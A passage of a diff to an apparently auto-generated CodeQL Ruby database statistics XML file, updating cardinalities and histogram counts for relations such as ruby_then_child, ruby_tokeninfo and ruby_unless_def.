                     <k>ruby_subshell</k>
-                    <v>409</v>
+                    <v>403</v>
                 </e>
                 <e>
                     <k>index</k>
@@ -18934,7 +19081,7 @@
                 </e>
                 <e>
                     <k>child</k>
-                    <v>645</v>
+                    <v>620</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -18948,22 +19095,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>308</v>
+                                    <v>296</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>53</v>
+                                    <v>59</v>
                                 </b>
                                 <b>
                                     <a>3</a>
-                                    <b>6</b>
-                                    <v>28</v>
+                                    <b>4</b>
+                                    <v>18</v>
                                 </b>
                                 <b>
-                                    <a>6</a>
+                                    <a>4</a>
                                     <b>12</b>
-                                    <v>18</v>
+                                    <v>28</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18979,22 +19126,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>308</v>
+                                    <v>296</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>53</v>
+                                    <v>59</v>
                                 </b>
                                 <b>
                                     <a>3</a>
-                                    <b>6</b>
-                                    <v>28</v>
+                                    <b>4</b>
+                                    <v>18</v>
                                 </b>
                                 <b>
-                                    <a>6</a>
+                                    <a>4</a>
                                     <b>12</b>
-                                    <v>18</v>
+                                    <v>28</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19015,16 +19162,11 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>3</v>
+                                    <v>6</v>
                                 </b>
                                 <b>
-                                    <a>6</a>
-                                    <b>7</b>
-                                    <v>3</v>
-                                </b>
-                                <b>
-                                    <a>7</a>
-                                    <b>8</b>
+                                    <a>3</a>
+                                    <b>4</b>
                                     <v>3</v>
                                 </b>
                                 <b>
@@ -19038,13 +19180,13 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>32</a>
-                                    <b>33</b>
+                                    <a>34</a>
+                                    <b>35</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>130</a>
-                                    <b>131</b>
+                                    <a>128</a>
+                                    <b>129</b>
                                     <v>3</v>
                                 </b>
                             </bs>
@@ -19066,16 +19208,11 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>3</v>
+                                    <v>6</v>
                                 </b>
                                 <b>
-                                    <a>6</a>
-                                    <b>7</b>
-                                    <v>3</v>
-                                </b>
-                                <b>
-                                    <a>7</a>
-                                    <b>8</b>
+                                    <a>3</a>
+                                    <b>4</b>
                                     <v>3</v>
                                 </b>
                                 <b>
@@ -19089,13 +19226,13 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>32</a>
-                                    <b>33</b>
+                                    <a>34</a>
+                                    <b>35</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>130</a>
-                                    <b>131</b>
+                                    <a>128</a>
+                                    <b>129</b>
                                     <v>3</v>
                                 </b>
                             </bs>
@@ -19112,7 +19249,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>645</v>
+                                    <v>620</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19128,7 +19265,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>645</v>
+                                    <v>620</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19138,26 +19275,26 @@
         </relation>
         <relation>
             <name>ruby_subshell_def</name>
-            <cardinality>409</cardinality>
+            <cardinality>403</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>409</v>
+                    <v>403</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_superclass_def</name>
-            <cardinality>13262</cardinality>
+            <cardinality>13318</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>13262</v>
+                    <v>13318</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>13262</v>
+                    <v>13318</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -19171,7 +19308,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13262</v>
+                                    <v>13318</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19187,7 +19324,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13262</v>
+                                    <v>13318</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19197,19 +19334,19 @@
         </relation>
         <relation>
             <name>ruby_symbol_array_child</name>
-            <cardinality>2137</cardinality>
+            <cardinality>2106</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_symbol_array</k>
-                    <v>457</v>
+                    <v>463</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>100</v>
+                    <v>98</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>2137</v>
+                    <v>2106</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -19223,42 +19360,42 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>175</v>
+                                    <v>184</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>93</v>
+                                    <v>92</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>39</v>
+                                    <v>38</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>21</v>
+                                    <v>26</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>8</b>
-                                    <v>39</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>13</b>
-                                    <v>36</v>
+                                    <v>38</v>
                                 </b>
                                 <b>
                                     <a>13</a>
-                                    <b>21</b>
-                                    <v>36</v>
+                                    <b>22</b>
+                                    <v>38</v>
                                 </b>
                                 <b>
-                                    <a>21</a>
+                                    <a>27</a>
                                     <b>34</b>
-                                    <v>15</v>
+                                    <v>8</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19274,42 +19411,42 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>175</v>
+                                    <v>184</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>93</v>
+                                    <v>92</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>39</v>
+                                    <v>38</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>21</v>
+                                    <v>26</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>8</b>
-                                    <v>39</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>13</b>
-                                    <v>36</v>
+                                    <v>38</v>
                                 </b>
                                 <b>
                                     <a>13</a>
-                                    <b>21</b>
-                                    <v>36</v>
+                                    <b>22</b>
+                                    <v>38</v>
                                 </b>
                                 <b>
-                                    <a>21</a>
+                                    <a>27</a>
                                     <b>34</b>
-                                    <v>15</v>
+                                    <v>8</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19325,52 +19462,52 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>12</v>
+                                    <v>11</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>15</v>
+                                    <v>5</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>9</v>
+                                    <v>17</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>7</b>
-                                    <v>9</v>
+                                    <v>8</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>11</b>
-                                    <v>9</v>
+                                    <v>8</v>
                                 </b>
                                 <b>
                                     <a>13</a>
-                                    <b>18</b>
-                                    <v>9</v>
+                                    <b>17</b>
+                                    <v>8</v>
                                 </b>
                                 <b>
-                                    <a>19</a>
-                                    <b>23</b>
-                                    <v>9</v>
+                                    <a>18</a>
+                                    <b>24</b>
+                                    <v>8</v>
                                 </b>
                                 <b>
-                                    <a>27</a>
-                                    <b>35</b>
-                                    <v>9</v>
+                                    <a>26</a>
+                                    <b>34</b>
+                                    <v>8</v>
                                 </b>
                                 <b>
-                                    <a>42</a>
-                                    <b>50</b>
-                                    <v>9</v>
+                                    <a>41</a>
+                                    <b>51</b>
+                                    <v>8</v>
                                 </b>
                                 <b>
-                                    <a>62</a>
-                                    <b>152</b>
-                                    <v>9</v>
+                                    <a>63</a>
+                                    <b>157</b>
+                                    <v>8</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19386,52 +19523,52 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>12</v>
+                                    <v>11</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>15</v>
+                                    <v>5</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>9</v>
+                                    <v>17</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>7</b>
-                                    <v>9</v>
+                                    <v>8</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>11</b>
-                                    <v>9</v>
+                                    <v>8</v>
                                 </b>
                                 <b>
                                     <a>13</a>
-                                    <b>18</b>
-                                    <v>9</v>
+                                    <b>17</b>
+                                    <v>8</v>
                                 </b>
                                 <b>
-                                    <a>19</a>
-                                    <b>23</b>
-                                    <v>9</v>
+                                    <a>18</a>
+                                    <b>24</b>
+                                    <v>8</v>
                                 </b>
                                 <b>
-                                    <a>27</a>
-                                    <b>35</b>
-                                    <v>9</v>
+                                    <a>26</a>
+                                    <b>34</b>
+                                    <v>8</v>
                                 </b>
                                 <b>
-                                    <a>42</a>
-                                    <b>50</b>
-                                    <v>9</v>
+                                    <a>41</a>
+                                    <b>51</b>
+                                    <v>8</v>
                                 </b>
                                 <b>
-                                    <a>62</a>
-                                    <b>152</b>
-                                    <v>9</v>
+                                    <a>63</a>
+                                    <b>157</b>
+                                    <v>8</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19447,7 +19584,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2137</v>
+                                    <v>2106</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19463,7 +19600,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2137</v>
+                                    <v>2106</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19473,30 +19610,30 @@
         </relation>
         <relation>
             <name>ruby_symbol_array_def</name>
-            <cardinality>457</cardinality>
+            <cardinality>463</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>457</v>
+                    <v>463</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_then_child</name>
-            <cardinality>41524</cardinality>
+            <cardinality>41375</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_then</k>
-                    <v>24592</v>
+                    <v>24329</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>106</v>
+                    <v>288</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>41524</v>
+                    <v>41375</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -19510,22 +19647,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>15349</v>
+                                    <v>15210</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>5541</v>
+                                    <v>5479</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>2031</v>
+                                    <v>2011</v>
                                 </b>
                                 <b>
                                     <a>4</a>
-                                    <b>36</b>
-                                    <v>1670</v>
+                                    <b>98</b>
+                                    <v>1628</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19541,22 +19678,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>15349</v>
+                                    <v>15210</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>5541</v>
+                                    <v>5479</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>2031</v>
+                                    <v>2011</v>
                                 </b>
                                 <b>
                                     <a>4</a>
-                                    <b>36</b>
-                                    <v>1670</v>
+                                    <b>98</b>
+                                    <v>1628</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19572,42 +19709,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>36</v>
+                                    <v>184</v>
                                 </b>
                                 <b>
                                     <a>2</a>
-                                    <b>3</b>
-                                    <v>6</v>
+                                    <b>4</b>
+                                    <v>20</v>
                                 </b>
                                 <b>
                                     <a>4</a>
-                                    <b>5</b>
-                                    <v>18</v>
+                                    <b>7</b>
+                                    <v>20</v>
                                 </b>
                                 <b>
-                                    <a>6</a>
-                                    <b>10</b>
-                                    <v>9</v>
+                                    <a>7</a>
+                                    <b>12</b>
+                                    <v>23</v>
                                 </b>
                                 <b>
-                                    <a>11</a>
-                                    <b>29</b>
-                                    <v>9</v>
+                                    <a>12</a>
+                                    <b>157</b>
+                                    <v>23</v>
                                 </b>
                                 <b>
-                                    <a>42</a>
-                                    <b>92</b>
-                                    <v>9</v>
-                                </b>
-                                <b>
-                                    <a>157</a>
-                                    <b>552</b>
-                                    <v>9</v>
-                                </b>
-                                <b>
-                                    <a>1221</a>
-                                    <b>8113</b>
-                                    <v>9</v>
+                                    <a>292</a>
+                                    <b>8189</b>
+                                    <v>14</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19623,42 +19750,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>36</v>
+                                    <v>184</v>
                                 </b>
                                 <b>
                                     <a>2</a>
-                                    <b>3</b>
-                                    <v>6</v>
+                                    <b>4</b>
+                                    <v>20</v>
                                 </b>
                                 <b>
                                     <a>4</a>
-                                    <b>5</b>
-                                    <v>18</v>
+                                    <b>7</b>
+                                    <v>20</v>
                                 </b>
                                 <b>
-                                    <a>6</a>
-                                    <b>10</b>
-                                    <v>9</v>
+                                    <a>7</a>
+                                    <b>12</b>
+                                    <v>23</v>
                                 </b>
                                 <b>
-                                    <a>11</a>
-                                    <b>29</b>
-                                    <v>9</v>
+                                    <a>12</a>
+                                    <b>157</b>
+                                    <v>23</v>
                                 </b>
                                 <b>
-                                    <a>42</a>
-                                    <b>92</b>
-                                    <v>9</v>
-                                </b>
-                                <b>
-                                    <a>157</a>
-                                    <b>552</b>
-                                    <v>9</v>
-                                </b>
-                                <b>
-                                    <a>1221</a>
-                                    <b>8113</b>
-                                    <v>9</v>
+                                    <a>292</a>
+                                    <b>8189</b>
+                                    <v>14</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19674,7 +19791,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>41524</v>
+                                    <v>41375</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19690,7 +19807,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>41524</v>
+                                    <v>41375</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19700,30 +19817,30 @@
         </relation>
         <relation>
             <name>ruby_then_def</name>
-            <cardinality>24592</cardinality>
+            <cardinality>24329</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>24592</v>
+                    <v>24329</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_tokeninfo</name>
-            <cardinality>5922021</cardinality>
+            <cardinality>5932219</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>5922021</v>
+                    <v>5932219</v>
                 </e>
                 <e>
                     <k>kind</k>
-                    <v>69</v>
+                    <v>65</v>
                 </e>
                 <e>
                     <k>value</k>
-                    <v>270444</v>
+                    <v>268924</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -19737,7 +19854,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5922021</v>
+                                    <v>5932219</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19753,7 +19870,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5922021</v>
+                                    <v>5932219</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19767,64 +19884,64 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>1</a>
-                                    <b>35</b>
-                                    <v>6</v>
+                                    <a>36</a>
+                                    <b>154</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>149</a>
-                                    <b>216</b>
-                                    <v>6</v>
+                                    <a>218</a>
+                                    <b>427</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>426</a>
-                                    <b>1594</b>
-                                    <v>6</v>
+                                    <a>1610</a>
+                                    <b>1611</b>
+                                    <v>2</v>
                                 </b>
                                 <b>
-                                    <a>1759</a>
-                                    <b>1760</b>
-                                    <v>6</v>
+                                    <a>1805</a>
+                                    <b>1806</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>3972</a>
-                                    <b>4099</b>
-                                    <v>6</v>
+                                    <a>3990</a>
+                                    <b>4222</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>4151</a>
-                                    <b>5588</b>
-                                    <v>6</v>
+                                    <a>4225</a>
+                                    <b>5692</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>7608</a>
-                                    <b>9506</b>
-                                    <v>6</v>
+                                    <a>7841</a>
+                                    <b>9805</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>13384</a>
-                                    <b>17043</b>
-                                    <v>6</v>
+                                    <a>13552</a>
+                                    <b>17172</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>24845</a>
-                                    <b>53463</b>
-                                    <v>6</v>
+                                    <a>25328</a>
+                                    <b>54391</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>54287</a>
-                                    <b>77797</b>
-                                    <v>6</v>
+                                    <a>55573</a>
+                                    <b>79435</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>93626</a>
-                                    <b>488897</b>
-                                    <v>6</v>
+                                    <a>95059</a>
+                                    <b>499129</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>1089226</a>
-                                    <b>1089227</b>
-                                    <v>3</v>
+                                    <a>1115017</a>
+                                    <b>1115018</b>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19840,52 +19957,52 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>18</v>
+                                    <v>14</v>
                                 </b>
                                 <b>
                                     <a>5</a>
-                                    <b>26</b>
-                                    <v>6</v>
+                                    <b>22</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>46</a>
-                                    <b>57</b>
-                                    <v>6</v>
+                                    <a>25</a>
+                                    <b>30</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>66</a>
-                                    <b>121</b>
-                                    <v>6</v>
+                                    <a>69</a>
+                                    <b>123</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
                                     <a>123</a>
-                                    <b>147</b>
-                                    <v>6</v>
+                                    <b>148</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>1472</a>
-                                    <b>1747</b>
-                                    <v>6</v>
+                                    <a>1480</a>
+                                    <b>1754</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>3017</a>
-                                    <b>3685</b>
-                                    <v>6</v>
+                                    <a>3052</a>
+                                    <b>3730</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>4567</a>
-                                    <b>7583</b>
-                                    <v>6</v>
+                                    <a>4632</a>
+                                    <b>7672</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>9961</a>
-                                    <b>18415</b>
-                                    <v>6</v>
+                                    <a>10019</a>
+                                    <b>18637</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>43711</a>
-                                    <b>43712</b>
-                                    <v>3</v>
+                                    <a>44586</a>
+                                    <b>44587</b>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19901,32 +20018,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>160511</v>
+                                    <v>159668</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>39768</v>
+                                    <v>39566</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>19017</v>
+                                    <v>18844</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>7</b>
-                                    <v>22464</v>
+                                    <v>22228</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>27</b>
-                                    <v>20427</v>
+                                    <v>20374</v>
                                 </b>
                                 <b>
                                     <a>27</a>
-                                    <b>178897</b>
-                                    <v>8255</v>
+                                    <b>183191</b>
+                                    <v>8242</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19942,12 +20059,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>257002</v>
+                                    <v>255594</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>5</b>
-                                    <v>13442</v>
+                                    <v>13329</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19957,15 +20074,15 @@
         </relation>
         <relation>
             <name>ruby_unary_def</name>
-            <cardinality>12512</cardinality>
+            <cardinality>13057</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>12512</v>
+                    <v>13057</v>
                 </e>
                 <e>
                     <k>operand</k>
-                    <v>12512</v>
+                    <v>13057</v>
                 </e>
                 <e>
                     <k>operator</k>
@@ -19983,7 +20100,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>12512</v>
+                                    <v>13057</v>
                                 </b>
                             </bs>
                         </hist>
@@ -19999,7 +20116,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>12512</v>
+                                    <v>13057</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20015,7 +20132,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>12512</v>
+                                    <v>13057</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20031,7 +20148,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>12512</v>
+                                    <v>13057</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20050,28 +20167,28 @@
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>237</a>
-                                    <b>238</b>
+                                    <a>236</a>
+                                    <b>237</b>
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>559</a>
-                                    <b>560</b>
+                                    <a>557</a>
+                                    <b>558</b>
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>1311</a>
-                                    <b>1312</b>
+                                    <a>1312</a>
+                                    <b>1313</b>
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>1747</a>
-                                    <b>1748</b>
+                                    <a>1742</a>
+                                    <b>1743</b>
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>8570</a>
-                                    <b>8571</b>
+                                    <a>9122</a>
+                                    <b>9123</b>
                                     <v>1</v>
                                 </b>
                             </bs>
@@ -20091,28 +20208,28 @@
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>237</a>
-                                    <b>238</b>
+                                    <a>236</a>
+                                    <b>237</b>
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>559</a>
-                                    <b>560</b>
+                                    <a>557</a>
+                                    <b>558</b>
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>1311</a>
-                                    <b>1312</b>
+                                    <a>1312</a>
+                                    <b>1313</b>
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>1747</a>
-                                    <b>1748</b>
+                                    <a>1742</a>
+                                    <b>1743</b>
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>8570</a>
-                                    <b>8571</b>
+                                    <a>9122</a>
+                                    <b>9123</b>
                                     <v>1</v>
                                 </b>
                             </bs>
@@ -20318,15 +20435,15 @@
         </relation>
         <relation>
             <name>ruby_unless_consequence</name>
-            <cardinality>2567</cardinality>
+            <cardinality>2575</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_unless</k>
-                    <v>2567</v>
+                    <v>2575</v>
                 </e>
                 <e>
                     <k>consequence</k>
-                    <v>2567</v>
+                    <v>2575</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -20340,7 +20457,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2567</v>
+                                    <v>2575</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20356,7 +20473,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2567</v>
+                                    <v>2575</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20366,15 +20483,15 @@
         </relation>
         <relation>
             <name>ruby_unless_def</name>
-            <cardinality>2568</cardinality>
+            <cardinality>2578</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>2568</v>
+                    <v>2578</v>
                 </e>
                 <e>
                     <k>condition</k>
-                    <v>2568</v>
+                    <v>2578</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -20388,7 +20505,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2568</v>
+                                    <v>2578</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20404,7 +20521,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2568</v>
+                                    <v>2578</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20436,7 +20553,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20456,19 +20573,19 @@
         </relation>
         <relation>
             <name>ruby_unless_modifier_def</name>
-            <cardinality>4341</cardinality>
+            <cardinality>4207</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>4341</v>
+                    <v>4207</v>
                 </e>
                 <e>
                     <k>body</k>
-                    <v>4341</v>
+                    <v>4207</v>
                 </e>
                 <e>
                     <k>condition</k>
-                    <v>4341</v>
+                    <v>4207</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -20482,7 +20599,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4341</v>
+                                    <v>4207</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20498,7 +20615,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4341</v>
+                                    <v>4207</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20514,7 +20631,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4341</v>
+                                    <v>4207</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20530,7 +20647,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4341</v>
+                                    <v>4207</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20546,7 +20663,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4341</v>
+                                    <v>4207</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20562,7 +20679,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4341</v>
+                                    <v>4207</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20572,19 +20689,19 @@
         </relation>
         <relation>
             <name>ruby_until_def</name>
-            <cardinality>114</cardinality>
+            <cardinality>113</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>114</v>
+                    <v>113</v>
                 </e>
                 <e>
                     <k>body</k>
-                    <v>114</v>
+                    <v>113</v>
                 </e>
                 <e>
                     <k>condition</k>
-                    <v>114</v>
+                    <v>113</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -20598,7 +20715,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>114</v>
+                                    <v>113</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20614,7 +20731,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>114</v>
+                                    <v>113</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20630,7 +20747,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>114</v>
+                                    <v>113</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20646,7 +20763,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>114</v>
+                                    <v>113</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20662,7 +20779,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>114</v>
+                                    <v>113</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20678,7 +20795,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>114</v>
+                                    <v>113</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20688,19 +20805,19 @@
         </relation>
         <relation>
             <name>ruby_until_modifier_def</name>
-            <cardinality>218</cardinality>
+            <cardinality>206</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>218</v>
+                    <v>206</v>
                 </e>
                 <e>
                     <k>body</k>
-                    <v>218</v>
+                    <v>206</v>
                 </e>
                 <e>
                     <k>condition</k>
-                    <v>218</v>
+                    <v>206</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -20714,7 +20831,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>218</v>
+                                    <v>206</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20730,7 +20847,7 @@
                                 <b>
                                     <a>1</a>
